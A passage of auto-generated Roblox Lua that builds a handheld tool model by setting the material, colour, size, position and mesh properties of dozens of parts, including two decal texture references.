  1305. BlockMesh42.Scale = Vector3.new(0.75, 0.599999964, 1.12099993)
  1306. Part43.Parent = Tool0
  1307. Part43.Material = Enum.Material.SmoothPlastic
  1308. Part43.BrickColor = BrickColor.new("Black")
  1309. Part43.Reflectance = 0.050000000745058
  1310. Part43.Rotation = Vector3.new(-180, -89.4599991, -90)
  1311. Part43.Anchored = true
  1312. Part43.FormFactor = Enum.FormFactor.Custom
  1313. Part43.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
  1314. Part43.CFrame = CFrame.new(27.0847168, 1.27026403, 139.204041, 7.55679963e-08, 0.00939127803, -0.999955833, 0.999999702, -2.19092968e-07, 7.35136751e-08, -2.1839287e-07, -0.999955297, -0.00939120352)
  1315. Part43.BottomSurface = Enum.SurfaceType.Smooth
  1316. Part43.TopSurface = Enum.SurfaceType.Smooth
  1317. Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1318. Part43.Position = Vector3.new(27.0847168, 1.27026403, 139.204041)
  1319. Part43.Orientation = Vector3.new(0, -90.5400009, 90)
  1320. Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1321. CylinderMesh44.Parent = Part43
  1322. CylinderMesh44.Scale = Vector3.new(1.10000002, 0.5625, 1.10000002)
  1323. CylinderMesh44.Scale = Vector3.new(1.10000002, 0.5625, 1.10000002)
  1324. Part45.Parent = Tool0
  1325. Part45.Material = Enum.Material.SmoothPlastic
  1326. Part45.BrickColor = BrickColor.new("Black")
  1327. Part45.Reflectance = 0.050000000745058
  1328. Part45.Rotation = Vector3.new(90, 0, 0.539999962)
  1329. Part45.Anchored = true
  1330. Part45.FormFactor = Enum.FormFactor.Custom
  1331. Part45.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1332. Part45.CFrame = CFrame.new(27.0944824, 1.43823195, 138.142151, 0.999955654, -0.00939129293, -7.51574873e-08, -7.35136396e-08, 1.75381615e-07, -0.999999702, 0.00939139724, 0.999955297, 1.74683493e-07)
  1333. Part45.BottomSurface = Enum.SurfaceType.Smooth
  1334. Part45.TopSurface = Enum.SurfaceType.Smooth
  1335. Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1336. Part45.Position = Vector3.new(27.0944824, 1.43823195, 138.142151)
  1337. Part45.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
  1338. Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1339. BlockMesh46.Parent = Part45
  1340. BlockMesh46.Offset = Vector3.new(0.0599999987, 0.0149999997, 0.0375000015)
  1341. BlockMesh46.Scale = Vector3.new(0.450000018, 0.299999982, 0.149999991)
  1342. BlockMesh46.Scale = Vector3.new(0.450000018, 0.299999982, 0.149999991)
  1343. Part47.Parent = Tool0
  1344. Part47.Material = Enum.Material.SmoothPlastic
  1345. Part47.BrickColor = BrickColor.new("Black")
  1346. Part47.Reflectance = 0.050000000745058
  1347. Part47.Rotation = Vector3.new(-90, 0, -0.539999962)
  1348. Part47.Anchored = true
  1349. Part47.FormFactor = Enum.FormFactor.Custom
  1350. Part47.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1351. Part47.CFrame = CFrame.new(27.0892334, 0.901122987, 138.718384, 0.999955833, 0.00939102471, 7.51575016e-08, -7.35136609e-08, -1.75381558e-07, 0.999999583, 0.00939126313, -0.999954998, -1.74683436e-07)
  1352. Part47.BottomSurface = Enum.SurfaceType.Smooth
  1353. Part47.TopSurface = Enum.SurfaceType.Smooth
  1354. Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1355. Part47.Position = Vector3.new(27.0892334, 0.901122987, 138.718384)
  1356. Part47.Orientation = Vector3.new(-89.9499969, 156.720001, -157.259995)
  1357. Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1358. SpecialMesh48.Parent = Part47
  1359. SpecialMesh48.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1360. SpecialMesh48.MeshType = Enum.MeshType.Wedge
  1361. SpecialMesh48.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1362. Part49.Parent = Tool0
  1363. Part49.Material = Enum.Material.SmoothPlastic
  1364. Part49.BrickColor = BrickColor.new("Black")
  1365. Part49.Reflectance = 0.050000000745058
  1366. Part49.Rotation = Vector3.new(0, 89.4599991, 0)
  1367. Part49.Anchored = true
  1368. Part49.FormFactor = Enum.FormFactor.Custom
  1369. Part49.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1370. Part49.CFrame = CFrame.new(26.9870605, 1.40820301, 138.111023, 0.00939127803, 8.71412595e-08, 0.999955893, 2.9562246e-08, 0.999999881, -8.74227624e-08, -0.999955535, 3.03819299e-08, 0.00939150155)
  1371. Part49.BottomSurface = Enum.SurfaceType.Smooth
  1372. Part49.TopSurface = Enum.SurfaceType.Smooth
  1373. Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1374. Part49.Position = Vector3.new(26.9870605, 1.40820301, 138.111023)
  1375. Part49.Orientation = Vector3.new(0, 89.4599991, 0)
  1376. Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1377. CylinderMesh50.Parent = Part49
  1378. CylinderMesh50.Offset = Vector3.new(0, -0.00749999983, 0)
  1379. CylinderMesh50.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1380. CylinderMesh50.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1381. Part51.Parent = Tool0
  1382. Part51.Material = Enum.Material.SmoothPlastic
  1383. Part51.BrickColor = BrickColor.new("Black")
  1384. Part51.Reflectance = 0.050000000745058
  1385. Part51.Rotation = Vector3.new(90, 0, 0.539999962)
  1386. Part51.Anchored = true
  1387. Part51.FormFactor = Enum.FormFactor.Custom
  1388. Part51.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1389. Part51.CFrame = CFrame.new(27.0948486, 1.40820301, 138.112427, 0.999955654, -0.00939129293, -7.51574873e-08, -7.35136396e-08, 1.75381615e-07, -0.999999702, 0.00939139724, 0.999955297, 1.74683493e-07)
  1390. Part51.BottomSurface = Enum.SurfaceType.Smooth
  1391. Part51.TopSurface = Enum.SurfaceType.Smooth
  1392. Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1393. Part51.Position = Vector3.new(27.0948486, 1.40820301, 138.112427)
  1394. Part51.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
  1395. Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1396. BlockMesh52.Parent = Part51
  1397. BlockMesh52.Offset = Vector3.new(0, 0, 0.00749999983)
  1398. BlockMesh52.Scale = Vector3.new(1.07999992, 0.450000018, 0.225000009)
  1399. BlockMesh52.Scale = Vector3.new(1.07999992, 0.450000018, 0.225000009)
  1400. Part53.Parent = Tool0
  1401. Part53.Material = Enum.Material.SmoothPlastic
  1402. Part53.BrickColor = BrickColor.new("Black")
  1403. Part53.Reflectance = 0.050000000745058
  1404. Part53.Rotation = Vector3.new(0, 89.4599991, 0)
  1405. Part53.Anchored = true
  1406. Part53.FormFactor = Enum.FormFactor.Custom
  1407. Part53.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1408. Part53.CFrame = CFrame.new(27.2025146, 1.40820301, 138.11322, 0.00939127803, 7.51574945e-08, 0.999955833, -1.75381601e-07, 0.999999702, -7.35136751e-08, -0.999955297, -1.74683422e-07, 0.00939120352)
  1409. Part53.BottomSurface = Enum.SurfaceType.Smooth
  1410. Part53.TopSurface = Enum.SurfaceType.Smooth
  1411. Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1412. Part53.Position = Vector3.new(27.2025146, 1.40820301, 138.11322)
  1413. Part53.Orientation = Vector3.new(0, 89.4599991, 0)
  1414. Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1415. CylinderMesh54.Parent = Part53
  1416. CylinderMesh54.Offset = Vector3.new(0, -0.00749999983, 0)
  1417. CylinderMesh54.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1418. CylinderMesh54.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1419. Part55.Parent = Tool0
  1420. Part55.Material = Enum.Material.SmoothPlastic
  1421. Part55.BrickColor = BrickColor.new("Black")
  1422. Part55.Reflectance = 0.050000000745058
  1423. Part55.Rotation = Vector3.new(-90, 0, 179.459991)
  1424. Part55.Anchored = true
  1425. Part55.FormFactor = Enum.FormFactor.Custom
  1426. Part55.Size = Vector3.new(0.209999993, 0.324000001, 0.200000003)
  1427. Part55.CFrame = CFrame.new(27.09021, 0.813232005, 138.622009, -0.999955833, -0.00939106941, 7.61370416e-08, 7.35136609e-08, 2.79689573e-07, 0.999999523, -0.00939126313, 0.999955058, -2.7898696e-07)
  1428. Part55.BottomSurface = Enum.SurfaceType.Smooth
  1429. Part55.TopSurface = Enum.SurfaceType.Smooth
  1430. Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1431. Part55.Position = Vector3.new(27.09021, 0.813232005, 138.622009)
  1432. Part55.Orientation = Vector3.new(-89.9399948, 164.73999, 14.7299995)
  1433. Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1434. BlockMesh56.Parent = Part55
  1435. BlockMesh56.Scale = Vector3.new(1, 1, 0.0749999955)
  1436. BlockMesh56.Scale = Vector3.new(1, 1, 0.0749999955)
  1437. Part57.Parent = Tool0
  1438. Part57.Material = Enum.Material.SmoothPlastic
  1439. Part57.BrickColor = BrickColor.new("Black")
  1440. Part57.Reflectance = 0.050000000745058
  1441. Part57.Rotation = Vector3.new(180, 0.539999962, 0)
  1442. Part57.Anchored = true
  1443. Part57.FormFactor = Enum.FormFactor.Custom
  1444. Part57.Size = Vector3.new(0.209999993, 0.200000003, 0.449999988)
  1445. Part57.CFrame = CFrame.new(27.086792, 0.846190989, 138.955017, 0.999955833, -7.51575016e-08, 0.00939106941, -7.35136609e-08, -0.999999523, -1.7538153e-07, 0.00939126313, 1.74683436e-07, -0.999955058)
  1446. Part57.BottomSurface = Enum.SurfaceType.Smooth
  1447. Part57.TopSurface = Enum.SurfaceType.Smooth
  1448. Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1449. Part57.Position = Vector3.new(27.086792, 0.846190989, 138.955017)
  1450. Part57.Orientation = Vector3.new(0, 179.459991, -180)
  1451. Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1452. SpecialMesh58.Parent = Part57
  1453. SpecialMesh58.Scale = Vector3.new(1, 0.419999987, 1)
  1454. SpecialMesh58.MeshType = Enum.MeshType.Wedge
  1455. SpecialMesh58.Scale = Vector3.new(1, 0.419999987, 1)
  1456. Part59.Parent = Tool0
  1457. Part59.Material = Enum.Material.SmoothPlastic
  1458. Part59.BrickColor = BrickColor.new("Black")
  1459. Part59.Reflectance = 0.050000000745058
  1460. Part59.Rotation = Vector3.new(180, 0.5, 0)
  1461. Part59.Anchored = true
  1462. Part59.FormFactor = Enum.FormFactor.Custom
  1463. Part59.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1464. Part59.CFrame = CFrame.new(27.0842285, 1.22216797, 139.222046, 0.999961853, -1.92377968e-07, 0.0087005496, -1.90859822e-07, -0.999999702, -1.75310205e-07, 0.00870066881, 1.73642931e-07, -0.999961257)
  1465. Part59.BottomSurface = Enum.SurfaceType.Smooth
  1466. Part59.TopSurface = Enum.SurfaceType.Smooth
  1467. Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1468. Part59.Position = Vector3.new(27.0842285, 1.22216797, 139.222046)
  1469. Part59.Orientation = Vector3.new(0, 179.5, -180)
  1470. Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1471. BlockMesh60.Parent = Part59
  1472. BlockMesh60.Scale = Vector3.new(1, 0.900000036, 0.375)
  1473. BlockMesh60.Scale = Vector3.new(1, 0.900000036, 0.375)
  1474. Part61.Parent = Tool0
  1475. Part61.Material = Enum.Material.SmoothPlastic
  1476. Part61.BrickColor = BrickColor.new("Black")
  1477. Part61.Reflectance = 0.050000000745058
  1478. Part61.Rotation = Vector3.new(-180, -89.4599991, -90)
  1479. Part61.Anchored = true
  1480. Part61.FormFactor = Enum.FormFactor.Custom
  1481. Part61.Size = Vector3.new(0.209999993, 0.540000021, 0.209999993)
  1482. Part61.CFrame = CFrame.new(27.0905762, 1.27026403, 138.553284, 1.19277473e-07, 0.00939115882, -0.999955595, 0.999999702, -2.19092939e-07, 1.17225042e-07, -2.17982333e-07, -0.999955356, -0.00939118862)
  1483. Part61.BottomSurface = Enum.SurfaceType.Smooth
  1484. Part61.TopSurface = Enum.SurfaceType.Smooth
  1485. Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1486. Part61.Position = Vector3.new(27.0905762, 1.27026403, 138.553284)
  1487. Part61.Orientation = Vector3.new(0, -90.5400009, 90)
  1488. Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1489. CylinderMesh62.Parent = Part61
  1490. CylinderMesh62.Offset = Vector3.new(0, 0.111000001, 0)
  1491. CylinderMesh62.Scale = Vector3.new(1.10000002, 1.39999986, 1.10000002)
  1492. CylinderMesh62.Scale = Vector3.new(1.10000002, 1.39999986, 1.10000002)
  1493. Part63.Parent = Tool0
  1494. Part63.Material = Enum.Material.SmoothPlastic
  1495. Part63.BrickColor = BrickColor.new("Black")
  1496. Part63.Reflectance = 0.050000000745058
  1497. Part63.Rotation = Vector3.new(-90, 0, 179.459991)
  1498. Part63.Anchored = true
  1499. Part63.FormFactor = Enum.FormFactor.Custom
  1500. Part63.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1501. Part63.CFrame = CFrame.new(27.0906982, 0.903075993, 138.562073, -0.999955833, -0.00939102471, 7.51575016e-08, 7.35136609e-08, 1.75381558e-07, 0.999999583, -0.00939126313, 0.999954998, -1.74683436e-07)
  1502. Part63.BottomSurface = Enum.SurfaceType.Smooth
  1503. Part63.TopSurface = Enum.SurfaceType.Smooth
  1504. Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1505. Part63.Position = Vector3.new(27.0906982, 0.903075993, 138.562073)
  1506. Part63.Orientation = Vector3.new(-89.9499969, 156.720001, 22.7399998)
  1507. Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1508. SpecialMesh64.Parent = Part63
  1509. SpecialMesh64.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1510. SpecialMesh64.MeshType = Enum.MeshType.Wedge
  1511. SpecialMesh64.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1512. Part65.Parent = Tool0
  1513. Part65.Material = Enum.Material.SmoothPlastic
  1514. Part65.BrickColor = BrickColor.new("Black")
  1515. Part65.Reflectance = 0.050000000745058
  1516. Part65.Rotation = Vector3.new(90, 0, 0.539999962)
  1517. Part65.Anchored = true
  1518. Part65.FormFactor = Enum.FormFactor.Custom
  1519. Part65.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1520. Part65.CFrame = CFrame.new(27.0847168, 0.901122987, 139.183044, 0.999955833, -0.00939127803, -7.51574945e-08, -7.35136751e-08, 1.75381601e-07, -0.999999702, 0.00939120352, 0.999955297, 1.74683422e-07)
  1521. Part65.BottomSurface = Enum.SurfaceType.Smooth
  1522. Part65.TopSurface = Enum.SurfaceType.Smooth
  1523. Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1524. Part65.Position = Vector3.new(27.0847168, 0.901122987, 139.183044)
  1525. Part65.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
  1526. Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1527. SpecialMesh66.Parent = Part65
  1528. SpecialMesh66.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1529. SpecialMesh66.MeshType = Enum.MeshType.Wedge
  1530. SpecialMesh66.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1531. Part67.Parent = Tool0
  1532. Part67.Material = Enum.Material.SmoothPlastic
  1533. Part67.BrickColor = BrickColor.new("Black")
  1534. Part67.Reflectance = 0.050000000745058
  1535. Part67.Rotation = Vector3.new(0, -0.539999962, 180)
  1536. Part67.Anchored = true
  1537. Part67.FormFactor = Enum.FormFactor.Custom
  1538. Part67.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1539. Part67.CFrame = CFrame.new(27.0936279, 1.078125, 138.190063, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  1540. Part67.BottomSurface = Enum.SurfaceType.Smooth
  1541. Part67.TopSurface = Enum.SurfaceType.Smooth
  1542. Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1543. Part67.Position = Vector3.new(27.0936279, 1.078125, 138.190063)
  1544. Part67.Orientation = Vector3.new(0, -0.539999962, 180)
  1545. Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1546. SpecialMesh68.Parent = Part67
  1547. SpecialMesh68.Scale = Vector3.new(1, 0.149999991, 0.299999982)
  1548. SpecialMesh68.MeshType = Enum.MeshType.Wedge
  1549. SpecialMesh68.Scale = Vector3.new(1, 0.149999991, 0.299999982)
  1550. Part69.Parent = Tool0
  1551. Part69.Material = Enum.Material.SmoothPlastic
  1552. Part69.BrickColor = BrickColor.new("Black")
  1553. Part69.Reflectance = 0.050000000745058
  1554. Part69.Rotation = Vector3.new(180, 0.539999962, -180)
  1555. Part69.Anchored = true
  1556. Part69.FormFactor = Enum.FormFactor.Custom
  1557. Part69.Size = Vector3.new(0.209999993, 0.200000003, 0.419999987)
  1558. Part69.CFrame = CFrame.new(27.086792, 0.97607398, 138.955017, -0.999955833, 7.51574945e-08, 0.00939127803, 7.35136751e-08, 0.999999702, -1.75381601e-07, -0.00939120352, -1.74683422e-07, -0.999955297)
  1559. Part69.BottomSurface = Enum.SurfaceType.Smooth
  1560. Part69.TopSurface = Enum.SurfaceType.Smooth
  1561. Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1562. Part69.Position = Vector3.new(27.086792, 0.97607398, 138.955017)
  1563. Part69.Orientation = Vector3.new(0, 179.459991, 0)
  1564. Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1565. SpecialMesh70.Parent = Part69
  1566. SpecialMesh70.Scale = Vector3.new(1, 0.900000036, 1.10000002)
  1567. SpecialMesh70.MeshType = Enum.MeshType.Brick
  1568. SpecialMesh70.Scale = Vector3.new(1, 0.900000036, 1.10000002)
  1569. Part71.Parent = Tool0
  1570. Part71.Material = Enum.Material.SmoothPlastic
  1571. Part71.BrickColor = BrickColor.new("Black")
  1572. Part71.Reflectance = 0.050000000745058
  1573. Part71.Rotation = Vector3.new(0, -0.539999962, 180)
  1574. Part71.Anchored = true
  1575. Part71.FormFactor = Enum.FormFactor.Custom
  1576. Part71.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1577. Part71.CFrame = CFrame.new(27.0933838, 1.00610304, 138.262009, -0.999955833, -7.51575016e-08, -0.00939106941, 7.35136609e-08, -0.999999523, 1.7538153e-07, -0.00939126313, 1.74683436e-07, 0.999955058)
  1578. Part71.BottomSurface = Enum.SurfaceType.Smooth
  1579. Part71.TopSurface = Enum.SurfaceType.Smooth
  1580. Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1581. Part71.Position = Vector3.new(27.0933838, 1.00610304, 138.262009)
  1582. Part71.Orientation = Vector3.new(0, -0.539999962, 180)
  1583. Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1584. SpecialMesh72.Parent = Part71
  1585. SpecialMesh72.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  1586. SpecialMesh72.MeshType = Enum.MeshType.Wedge
  1587. SpecialMesh72.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  1588. Part73.Parent = Tool0
  1589. Part73.Material = Enum.Material.SmoothPlastic
  1590. Part73.BrickColor = BrickColor.new("Brick yellow")
  1591. Part73.Reflectance = 0.050000000745058
  1592. Part73.Rotation = Vector3.new(118.689995, 0.25999999, 0.469999999)
  1593. Part73.Anchored = true
  1594. Part73.FormFactor = Enum.FormFactor.Custom
  1595. Part73.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1596. Part73.CFrame = CFrame.new(27.0927734, 0.473145008, 138.348206, 0.999955833, -0.00823810697, 0.00450787693, -7.35136609e-08, -0.480031699, -0.877250612, 0.00939126313, 0.877211511, -0.480010271)
  1597. Part73.BottomSurface = Enum.SurfaceType.Smooth
  1598. Part73.TopSurface = Enum.SurfaceType.Smooth
  1599. Part73.Color = Color3.new(0.843137, 0.772549, 0.603922)
  1600. Part73.Position = Vector3.new(27.0927734, 0.473145008, 138.348206)
  1601. Part73.Orientation = Vector3.new(61.3099976, 179.459991, -180)
  1602. Part73.Color = Color3.new(0.843137, 0.772549, 0.603922)
  1603. SpecialMesh74.Parent = Part73
  1604. SpecialMesh74.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1605. SpecialMesh74.MeshType = Enum.MeshType.Wedge
  1606. SpecialMesh74.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1607. Part75.Parent = Tool0
  1608. Part75.Material = Enum.Material.SmoothPlastic
  1609. Part75.BrickColor = BrickColor.new("Dark stone grey")
  1610. Part75.Reflectance = 0.050000000745058
  1611. Part75.Rotation = Vector3.new(0, -75.5400009, 90)
  1612. Part75.Anchored = true
  1613. Part75.FormFactor = Enum.FormFactor.Custom
  1614. Part75.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1615. Part75.CFrame = CFrame.new(26.9014893, 1.28222597, 138.153503, 1.172628e-07, -0.24973698, -0.968313515, 0.999999583, -1.33308845e-07, 1.55481473e-07, -1.6791428e-07, -0.968312979, 0.249736756)
  1616. Part75.BottomSurface = Enum.SurfaceType.Smooth
  1617. Part75.TopSurface = Enum.SurfaceType.Smooth
  1618. Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1619. Part75.Position = Vector3.new(26.9014893, 1.28222597, 138.153503)
  1620. Part75.Orientation = Vector3.new(0, -75.5400009, 90)
  1621. Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1622. CylinderMesh76.Parent = Part75
  1623. CylinderMesh76.Scale = Vector3.new(0.337500006, 0.149999991, 0.337500006)
  1624. CylinderMesh76.Scale = Vector3.new(0.337500006, 0.149999991, 0.337500006)
  1625. Part77.Parent = Tool0
  1626. Part77.Material = Enum.Material.SmoothPlastic
  1627. Part77.BrickColor = BrickColor.new("Black")
  1628. Part77.Reflectance = 0.050000000745058
  1629. Part77.Rotation = Vector3.new(-180, -89.4599991, -90)
  1630. Part77.Anchored = true
  1631. Part77.FormFactor = Enum.FormFactor.Custom
  1632. Part77.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
  1633. Part77.CFrame = CFrame.new(27.1295166, 1.27026403, 138.262512, 7.51575016e-08, 0.00939102471, -0.999955833, 0.999999583, -1.75381558e-07, 7.35136609e-08, -1.74683436e-07, -0.999954998, -0.00939126313)
  1634. Part77.BottomSurface = Enum.SurfaceType.Smooth
  1635. Part77.TopSurface = Enum.SurfaceType.Smooth
  1636. Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1637. Part77.Position = Vector3.new(27.1295166, 1.27026403, 138.262512)
  1638. Part77.Orientation = Vector3.new(0, -90.5400009, 90)
  1639. Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1640. CylinderMesh78.Parent = Part77
  1641. CylinderMesh78.Scale = Vector3.new(1.10000002, 0.75, 1.02499998)
  1642. CylinderMesh78.Scale = Vector3.new(1.10000002, 0.75, 1.02499998)
  1643. Part79.Parent = Tool0
  1644. Part79.Material = Enum.Material.SmoothPlastic
  1645. Part79.BrickColor = BrickColor.new("Black")
  1646. Part79.Reflectance = 0.050000000745058
  1647. Part79.Rotation = Vector3.new(0, -0.539999962, 180)
  1648. Part79.Anchored = true
  1649. Part79.FormFactor = Enum.FormFactor.Custom
  1650. Part79.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1651. Part79.CFrame = CFrame.new(27.0936279, 1.07519495, 138.235168, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  1652. Part79.BottomSurface = Enum.SurfaceType.Smooth
  1653. Part79.TopSurface = Enum.SurfaceType.Smooth
  1654. Part79.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1655. Part79.Position = Vector3.new(27.0936279, 1.07519495, 138.235168)
  1656. Part79.Orientation = Vector3.new(0, -0.539999962, 180)
  1657. Part79.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1658. BlockMesh80.Parent = Part79
  1659. BlockMesh80.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  1660. BlockMesh80.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  1661. Part81.Parent = Tool0
  1662. Part81.Material = Enum.Material.SmoothPlastic
  1663. Part81.BrickColor = BrickColor.new("Black")
  1664. Part81.Reflectance = 0.050000000745058
  1665. Part81.Transparency = 1
  1666. Part81.Rotation = Vector3.new(0, 89.4599991, 0)
  1667. Part81.Anchored = true
  1668. Part81.FormFactor = Enum.FormFactor.Custom
  1669. Part81.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1670. Part81.CFrame = CFrame.new(26.9715576, 1.14721704, 138.434814, 0.00939127803, 7.51574945e-08, 0.999955833, -1.75381601e-07, 0.999999702, -7.35136751e-08, -0.999955297, -1.74683422e-07, 0.00939120352)
  1671. Part81.BottomSurface = Enum.SurfaceType.Smooth
  1672. Part81.TopSurface = Enum.SurfaceType.Smooth
  1673. Part81.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1674. Part81.Position = Vector3.new(26.9715576, 1.14721704, 138.434814)
  1675. Part81.Orientation = Vector3.new(0, 89.4599991, 0)
  1676. Part81.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1677. Decal82.Parent = Part81
  1678. Decal82.Texture = "http://www.roblox.com/asset/?id=30856971"
  1679. Decal83.Parent = Part81
  1680. Decal83.Texture = "http://www.roblox.com/asset/?id=30856971"
  1681. Decal83.Face = Enum.NormalId.Back
  1682. BlockMesh84.Parent = Part81
  1683. BlockMesh84.Offset = Vector3.new(0, 0, 0.119999997)
  1684. BlockMesh84.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1685. BlockMesh84.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1686. Part85.Parent = Tool0
  1687. Part85.Material = Enum.Material.SmoothPlastic
  1688. Part85.BrickColor = BrickColor.new("Black")
  1689. Part85.Reflectance = 0.20000000298023
  1690. Part85.Rotation = Vector3.new(-90, 0, 179.459991)
  1691. Part85.Anchored = true
  1692. Part85.FormFactor = Enum.FormFactor.Custom
  1693. Part85.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1694. Part85.CFrame = CFrame.new(27.2113037, 1.10522497, 138.527344, -0.999955535, -0.00939102471, 9.95769938e-08, 9.56952277e-08, 4.13800024e-07, 0.999999464, -0.00939133763, 0.999954998, -4.12883026e-07)
  1695. Part85.BottomSurface = Enum.SurfaceType.Smooth
  1696. Part85.TopSurface = Enum.SurfaceType.Smooth
  1697. Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1698. Part85.Position = Vector3.new(27.2113037, 1.10522497, 138.527344)
  1699. Part85.Orientation = Vector3.new(-89.9399948, 166.440002, 13.0199995)
  1700. Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1701. BlockMesh86.Parent = Part85
  1702. BlockMesh86.Offset = Vector3.new(0.0149999997, 0, 0)
  1703. BlockMesh86.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  1704. BlockMesh86.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  1705. Part87.Parent = Tool0
  1706. Part87.Material = Enum.Material.SmoothPlastic
  1707. Part87.BrickColor = BrickColor.new("Black")
  1708. Part87.Rotation = Vector3.new(-90, 0, -90.5400009)
  1709. Part87.Anchored = true
  1710. Part87.FormFactor = Enum.FormFactor.Custom
  1711. Part87.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1712. Part87.CFrame = CFrame.new(26.9715576, 1.07226598, 138.434814, -0.00939127803, 0.999955833, 7.51574945e-08, 1.75381601e-07, -7.35136751e-08, 0.999999702, 0.999955297, 0.00939120352, -1.74683422e-07)
  1713. Part87.BottomSurface = Enum.SurfaceType.Smooth
  1714. Part87.TopSurface = Enum.SurfaceType.Smooth
  1715. Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1716. Part87.Position = Vector3.new(26.9715576, 1.07226598, 138.434814)
  1717. Part87.Orientation = Vector3.new(-89.9599991, 156.720001, 112.739998)
  1718. Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1719. CylinderMesh88.Parent = Part87
  1720. CylinderMesh88.Offset = Vector3.new(0, 0.119999997, 0)
  1721. CylinderMesh88.Scale = Vector3.new(0.450000018, 1.06499994, 0.450000018)
  1722. CylinderMesh88.Scale = Vector3.new(0.450000018, 1.06499994, 0.450000018)
  1723. Part89.Parent = Tool0
  1724. Part89.Material = Enum.Material.SmoothPlastic
  1725. Part89.BrickColor = BrickColor.new("Dark stone grey")
  1726. Part89.Rotation = Vector3.new(-90, 0, 179.459991)
  1727. Part89.Anchored = true
  1728. Part89.FormFactor = Enum.FormFactor.Custom
  1729. Part89.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1730. Part89.CFrame = CFrame.new(26.9714355, 1.07226598, 138.460022, -0.999948323, -0.00939106941, 2.24161454e-07, -7.54979652e-08, 1.7537991e-07, 0.999993861, -0.00939135253, 0.999946117, -1.73282984e-07)
